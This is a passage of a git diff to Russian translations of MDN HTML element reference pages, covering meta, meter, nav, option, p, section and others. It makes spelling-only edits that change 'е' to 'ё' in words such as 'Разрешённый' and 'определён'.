+167,10 @@ translation_of: Web/HTML/Element/meta </li> </ul> - <p>Атрибут также может иметь значение, взятое из существующего листа определений <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имен:</p> + <p>Атрибут также может иметь значение, взятое из существующего листа определений <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имён:</p> <ul> - <li><code>creator</code>, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имен больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;</li> + <li><code>creator</code>, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имён больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;</li> <li><code>googlebot</code>, синоним <code>robots</code>, но только следует за Googlebot, сканирует индексы для Google;</li> <li><code>publisher</code>, определяет в свободном формате имя того, кто опубликовал документ. Это также может быть имя института;</li> <li><code>robots</code>, определяет поведение, поисковых роботов на странице. Список этих значений представлен ниже: @@ -242,7 +242,7 @@ translation_of: Web/HTML/Element/meta <div class="note"><strong>Замечания:</strong> <ul> - <li>Только кооперативные роботы будут следовать правилам, определенным именем роботов. </li> + <li>Только кооперативные роботы будут следовать правилам, определённым именем роботов. </li> <li>Роботу необходимо получить доступ к странице, чтобы считать мета значение. Если Вы хотите скрыть от них информацию, то используйте <em><a href="/en-US/docs/Robot_Exclusion_Protocol" title="Robot Exclusion Protocol">robots.txt</a></em> файл.</li> <li>Если вы хотите удалить страницу индекса, изменение мета в noindex будет работать, но только тогда, когда робот снова посетит страницу. Убедитесь, что файл robots.txt не предотвращает такие посещения. Некоторые поисковые системы имеют инструменты, позволяющие быстро удалить какую-либо страницу.</li> <li>Некоторые возможные значения взаимно исключают друг друга, такие как использование индекса и noindex или follow и nofollow одновременно. В этих случаях поведение робота не определено и может варьироваться от одного к другому. Поэтому избегайте этих случаев.</li> @@ -256,7 +256,7 @@ translation_of: Web/HTML/Element/meta <p>Наконец несколько общих терминов:</p> <ul> - <li><code>viewport</code>, который дает подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. + <li><code>viewport</code>, который даёт подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. <table class="fullwidth-table"> <caption>Значения для содержания <code><meta name="viewport"></code></caption> diff --git a/files/ru/web/html/element/meter/index.html b/files/ru/web/html/element/meter/index.html index 1b7d72d8ad..8f4bb987de 100644 --- a/files/ru/web/html/element/meter/index.html +++ b/files/ru/web/html/element/meter/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/meter <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, контент, ассоциированный с label, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но среди его потомков не должно быть элемента <code><meter></code>.</td> </tr> <tr> @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/meter <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> @@ -53,15 +53,15 @@ translation_of: Web/HTML/Element/meter <div class="note"><strong>Примечание по использованию: </strong>Если атрибут <code>value</code> не находится в диапазоне от <code>0</code> до <code>1</code> (включительно), то атрибуты <code>min</code> и <code>max</code> должны определять диапазон, в котором будет находиться значение <code>value</code>.</div> </dd> <dt>{{htmlattrdef("min")}}</dt> - <dd>Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), если указан. Если не определен, то минимальное значение равно 0.</dd> + <dd>Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), если указан. Если не определён, то минимальное значение равно 0.</dd> <dt>{{htmlattrdef("max")}}</dt> - <dd>Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), если указан. Если не определен, то максимальное значение равно 1.</dd> + <dd>Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), если указан. Если не определён, то максимальное значение равно 1.</dd> <dt>{{htmlattrdef("low")}}</dt> <dd>Верхняя числовая граница нижнего предела измеряемого диапазона. Он должен быть больше, чем минимальное значение (<code>min</code> атрибут), а также, меньше, чем значение high и максимальное значение(<code>high</code> атрибут и <code>max</code> атрибут, соответственно), если они указаны. Если не указан или меньше минимального значения, то значение <code>low</code> равно минимальному значению.</dd> <dt>{{htmlattrdef("high")}}</dt> <dd>Нижняя числовая граница верхнего предела измеряемого диапазона. Он должен быть меньше, чем максимальное значение (<code>max</code> атрибут), а также, больше, чем значение low и минимальное значение (<code>low</code> атрибут и <strong>min</strong> атрибут, соответственно), если они указаны. Если не указан или больше максимального значения, то значение <code>high</code> равно максимальному значению.</dd> <dt>{{htmlattrdef("optimum")}}</dt> - <dd>Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определен атрибутами <code>min</code> и <code>max</code>). При использовании с атрибутами <code>low</code> и <code>high</code>, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами <code>min</code> и <code>low</code>, нижний диапазон является предпочтительным.</dd> + <dd>Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определён атрибутами <code>min</code> и <code>max</code>). При использовании с атрибутами <code>low</code> и <code>high</code>, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами <code>min</code> и <code>low</code>, нижний диапазон является предпочтительным.</dd> <dt>{{htmlattrdef("form")}}</dt> <dd>Этот атрибут связывает элемент с элементом <code>form</code>, частью которого является элемент <code>meter</code>. Например, <code>meter</code> может отображать диапазон, соответствующий элементу <code>input</code> с <code>type</code> <em>number</em>. Этот атрибут используется только в случае, если элемент <code>meter</code> используется как элемент, связанный с формой; даже в этом случае он может быть опущен, если элемент является потомком элемента <code>form</code>.</dd> </dl> diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html index aaa537f30c..4cb171fe2b 100644 --- a/files/ru/web/html/element/nav/index.html +++ b/files/ru/web/html/element/nav/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/nav <td>Потоковый контент, секционный контент, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td>Потоковый контент.</td> </tr> <tr> @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/nav {{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенный родительский элемент</th> + <th scope="row">Разрешённый родительский элемент</th> <td>Любой элемент, содержащий потоковый контент.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA-атрибуты</th> + <th scope="row">Разрешённые ARIA-атрибуты</th> <td>Нет</td> </tr> <tr> @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/nav <h2 id="Примечание">Примечание</h2> <ul> - <li>Не обязательно все ссылки должны быть обернуты в <code><nav></code>. <code><nav></code> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}} часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .</li> + <li>Не обязательно все ссылки должны быть обёрнуты в <code><nav></code>. <code><nav></code> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}} часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .</li> <li>Документ может содержать несколько {{HTMLElement("nav")}} элементов. Например, один для навигации по сайту, второй для навигации по странице.</li> <li>Пользовательские агенты, такие как устройства чтения с экрана, предназначенные для людей с плохим зрением, могут использовать этот элемент, чтобы определить следует ли пускать рендеринг содержимого навигации.</li> </ul> @@ -98,7 +98,7 @@ translation_of: Web/HTML/Element/nav <h2 id="Совместимость_браузера">Совместимость браузера</h2> -<div class="hidden">Таблица совместимости на этой странице создается структурированно. Если вы желаете внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request</div> +<div class="hidden">Таблица совместимости на этой странице создаётся структурированно. Если вы желаете внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request</div> <p>{{Compat("html.elements.nav")}}</p> diff --git a/files/ru/web/html/element/noscript/index.html b/files/ru/web/html/element/noscript/index.html index 2fa2097246..74db832bfc 100644 --- a/files/ru/web/html/element/noscript/index.html +++ b/files/ru/web/html/element/noscript/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/noscript <p>Rocks!</p> </pre> -<h3 id="Пример_с_включенным_JavaScript'ом">Пример с включенным JavaScript</h3> +<h3 id="Пример_с_включённым_JavaScript'ом">Пример с включённым JavaScript</h3> <p>Rocks!</p> diff --git a/files/ru/web/html/element/ol/index.html b/files/ru/web/html/element/ol/index.html index a8a7235f5a..4568058d95 100644 --- a/files/ru/web/html/element/ol/index.html +++ b/files/ru/web/html/element/ol/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/ol <dt>{{HTMLAttrDef("reversed")}}</dt> <dd>Атрибут логического значения (bool) показывает, что предметы указаны по списку в обратном порядке. Пункты в списке будут пронумерованы от большего к меньшему.</dd> <dt>{{HTMLAttrDef("start")}}</dt> - <dd>Нумерация начнется с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация <code>type</code> в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте <code>start="4"</code>.</dd> + <dd>Нумерация начнётся с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация <code>type</code> в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте <code>start="4"</code>.</dd> <dt>{{HTMLAttrDef("type")}}</dt> <dd>Задаёт тип нумерации: <ul> diff --git a/files/ru/web/html/element/option/index.html b/files/ru/web/html/element/option/index.html index 7f2bafd7ed..86efde49f4 100644 --- a/files/ru/web/html/element/option/index.html +++ b/files/ru/web/html/element/option/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Element/option <td>Нет.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Текст, допускаются <span class="short_text" id="result_box" lang="ru"><span>экранированные символы</span></span> (например <code>&eacute;</code>).</td> </tr> <tr> @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/option <td>Открывающий тег обязателен. Закрывающий тег опционален если за этим элементом следует другой элемент <code><option></code>, или элемент {{HTMLElement("optgroup")}}, или если родительский элемент не имеет больше содержимого.</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные родители</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые родители</span></span></th> <td>Элемент {{HTMLElement("select")}}, элемент {{HTMLElement("optgroup")}} или элемент {{HTMLElement("datalist")}}.</td> </tr> <tr> @@ -44,14 +44,14 @@ translation_of: Web/HTML/Element/option <p>Как и все HTML элементы, этот элемент поддерживает <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">глобальные атрибуты</a>.</p> <dl> - <dt>{{htmlattrdef("disabled")}} -- отключен(о)</dt> - <dd>Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все еще можно отключить (может не работать), если отключен внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.</dd> + <dt>{{htmlattrdef("disabled")}} -- отключён(о)</dt> + <dd>Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все ещё можно отключить (может не работать), если отключён внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.</dd> <dt>{{htmlattrdef("label")}} -- метка, ярлык</dt> <dd>Этот атрибут - текст ярлыка, отображающий значение(смысл, описание) опции. Если <code>label</code> не указан (отсутствует), то его значение совпадает с текстовым содержанием элемента <code><option></code>.</dd> <dt>{{htmlattrdef("selected")}} -- выбран(о)</dt> <dd>(Если присутствует,) этот Boolean атрибут отображает то, что опция изначально выделена. Если элемент <code><option></code> принадлежит элементу {{HTMLElement("select")}}, чей атрибут {{htmlattrxref("multiple", "select")}} не установлен, только одна-единственная <code><option></code> элемента {{HTMLElement("select")}} может иметь атрибут <code>selected</code> .</dd> <dt>{{htmlattrdef("value")}} -- значение, величина</dt> - <dd>Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берется из текстового содержания элемента <code><option></code>.</dd> + <dd>Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берётся из текстового содержания элемента <code><option></code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html index ffd25be957..5018c97a0e 100644 --- a/files/ru/web/html/element/output/index.html +++ b/files/ru/web/html/element/output/index.html @@ -2,7 +2,7 @@ title: '<output>: Элемент вывода' slug: Web/HTML/Element/output tags: - - Верстка + - Вёрстка - Элемент - вывод translation_of: Web/HTML/Element/output @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/output <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">перечисляемые</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_labelable">лэйбловые</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_resettable">сбрасываемые форма-ассоциированные элементы</a>, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/output <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Все элементы, которые принимают <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> diff --git a/files/ru/web/html/element/p/index.html b/files/ru/web/html/element/p/index.html index 166c1b2bd0..c74f0a6b76 100644 --- a/files/ru/web/html/element/p/index.html +++ b/files/ru/web/html/element/p/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/p --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><p></code></strong> представляет собой абзац.</span> Абзацы обычно представлены в визуальной среде в виде блоков текста, отделенных от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><p></code></strong> представляет собой абзац.</span> Абзацы обычно представлены в визуальной среде в виде блоков текста, отделённых от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.</p> <p>Абзацы являются <a href="/ru/docs/Web/HTML/Block-level_elements">блочными элементами</a> и, в частности, автоматически закрываются, если другой блочный элемент находится перед закрывающим тегом <code></p></code>. Смотрите ниже "Пропуск тега".</p> @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/p <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td> </tr> <tr> @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/p <td>Требуется открывающий тег. Закрывающий тег может быть пропущен, если за элементом {{HTMLElement("p")}} сразу следует элемент {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} или другой элемент {{HTMLElement("p")}}, или если в родительском элементе больше ничего не содержится и родительский элемент не является элементом {{HTMLElement("a")}}.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a> в качестве содержимого.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -161,7 +161,7 @@ p.pilcrow + p.pilcrow::before { <tr> <td>{{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '<p>')}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени) {{SpecName("HTML5 W3C")}}</td> + <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени) {{SpecName("HTML5 W3C")}}</td> </tr> <tr> <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '<p>')}}</td> diff --git a/files/ru/web/html/element/pre/index.html b/files/ru/web/html/element/pre/index.html index 70a3b05b1f..be57b57be9 100644 --- a/files/ru/web/html/element/pre/index.html +++ b/files/ru/web/html/element/pre/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/pre <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%AF%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82">Явный контент</a></td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a></td> </tr> <tr> @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/pre <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">содержимое потока</a></td> </tr> <tr> @@ -39,7 +39,7 @@ translation_of: Web/HTML/Element/pre <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/pre <dt>{{htmlattrdef("cols")}} {{non-standard_inline}}{{obsolete_inline}}</dt> <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Это был нестандартный синоним {{htmlattrxref("width", "pre")}}. Чтобы добиться такого эффекта, используйте CSS {{Cssxref("width")}}.</dd> <dt>{{htmlattrdef("width")}} {{obsolete_inline}}</dt> - <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Хотя технически он все еще реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.</dd> + <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Хотя технически он все ещё реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.</dd> <dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt> <dd>Подсказка, указывающая, как должен происходить перенос. В современных браузерах этот атрибут игнорируется, и никакого визуального эффекта не приводит; чтобы достичь такого эффекта, используйте CSS {{Cssxref("white-space")}}.</dd> </dl> @@ -80,7 +80,7 @@ body { <h2 id="Проблемы_доступности">Проблемы доступности</h2> -<p>Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно четко и лаконично описывать содержание изображения или диаграммы.</p> +<p>Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно чётко и лаконично описывать содержание изображения или диаграммы.</p> <p>Люди, испытывающие проблемы с плохим зрением и просматривающие страницы с помощью вспомогательных технологий, таких как программа чтения с экрана, могут не понимать, что представляют собой предварительно отформатированные текстовые символы, когда они читаются последовательно.</p> diff --git a/files/ru/web/html/element/progress/index.html b/files/ru/web/html/element/progress/index.html index 3044cb72c1..5746e3259a 100644 --- a/files/ru/web/html/element/progress/index.html +++ b/files/ru/web/html/element/progress/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/progress <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, контент, ассоциированный с label, явный контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но среди его потомков не должно быть элемента <code><progress></code>.</td> </tr> <tr> @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/progress <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/progress <dt>{{ htmlattrdef("max") }}</dt> <dd>Этот атрибут описывает сколько затрат требует задача, указанная элементом <code>progress</code>. Атрибут <code>max</code>, в случае указания, должен быть положительным, также, возможно применение числа с плавающей точкой. Значение по умолчанию 1.</dd> <dt>{{ htmlattrdef("value") }}</dt> - <dd>Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до <code>max</code>, или между 0 и 1, если <code>max</code> не указан. Если атрибут <code>value</code> не указан, индикатор выполнения не определен; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.</dd> + <dd>Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до <code>max</code>, или между 0 и 1, если <code>max</code> не указан. Если атрибут <code>value</code> не указан, индикатор выполнения не определён; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.</dd> </dl> <div class="note"> @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/progress </div> <div class="note"> -<p><strong>Примечание:</strong> Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределенным индикатором выполнения. Чтобы индикатор выполнения стал неопределенным после присвоения ему значения, вы должны удалить атрибут value с помощью <code>element.removeAttribute("value")</code></p> +<p><strong>Примечание:</strong> Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределённым индикатором выполнения. Чтобы индикатор выполнения стал неопределённым после присвоения ему значения, вы должны удалить атрибут value с помощью <code>element.removeAttribute("value")</code></p> </div> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/html/element/ruby/index.html b/files/ru/web/html/element/ruby/index.html index ed501d421c..50439aa381 100644 --- a/files/ru/web/html/element/ruby/index.html +++ b/files/ru/web/html/element/ruby/index.html @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/ruby <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные родители</th> + <th scope="row">Разрешённые родители</th> <td>Любой элемент который согласован с <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">текстовым контентом(phrasing content)</a>.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Любые</td> </tr> <tr> diff --git a/files/ru/web/html/element/script/index.html b/files/ru/web/html/element/script/index.html index 7febc40d50..f16b52b07a 100644 --- a/files/ru/web/html/element/script/index.html +++ b/files/ru/web/html/element/script/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/script </td> </tr> <tr> - <th scope="row">Разрешенная ARIA роль</th> + <th scope="row">Разрешённая ARIA роль</th> <td>Отсутствует</td> </tr> <tr> diff --git a/files/ru/web/html/element/section/index.html b/files/ru/web/html/element/section/index.html index b34e9d1099..9774eae28f 100644 --- a/files/ru/web/html/element/section/index.html +++ b/files/ru/web/html/element/section/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/section <p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p> -<p>Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с ее элементами управления не имеют специфических элементов и могут быть помещены в <code><section></code>.</p> +<p>Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с её элементами управления не имеют специфических элементов и могут быть помещены в <code><section></code>.</p> <div class="note"> <p><strong>Заметка:</strong> Если содержимое элемента имеет смысл объединить как единое целое (в цельный и независимый блок), то элемент {{HTMLElement("article")}} может стать лучшим выбором.</p> @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element/section <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a></td> </tr> <tr> @@ -41,11 +41,11 @@ translation_of: Web/HTML/Element/section <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><section></code> не должен быть потомком элемента {{HTMLElement("address")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td> </tr> <tr> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/section <h2 id="Примечание">Примечание</h2> <ul> - <li>Каждый элемент <code><section></code> должен быть идентифицирован, обычно путем добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.</li> + <li>Каждый элемент <code><section></code> должен быть идентифицирован, обычно путём добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.</li> <li>Если имеет смысл по-особому объединить содержимое элемента <code><section></code> (например, сделать цельным и независимым разделом HTML-документа), используйте вместо него элемент {{HTMLElement("article")}}.</li> <li>Не используйте элемент <code><section></code> как общий контейнер; для этого есть {{HTMLElement("div")}}, особенно когда секционирование применяется только для стилизации. На практике раздел должен логически выделяться в структуре документа.</li> </ul> diff --git a/files/ru/web/html/element/select/index.html b/files/ru/web/html/element/select/index.html index 53b0bc2509..58b8a35fa8 100644 --- a/files/ru/web/html/element/select/index.html +++ b/files/ru/web/html/element/select/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/select <td>Любые элементы 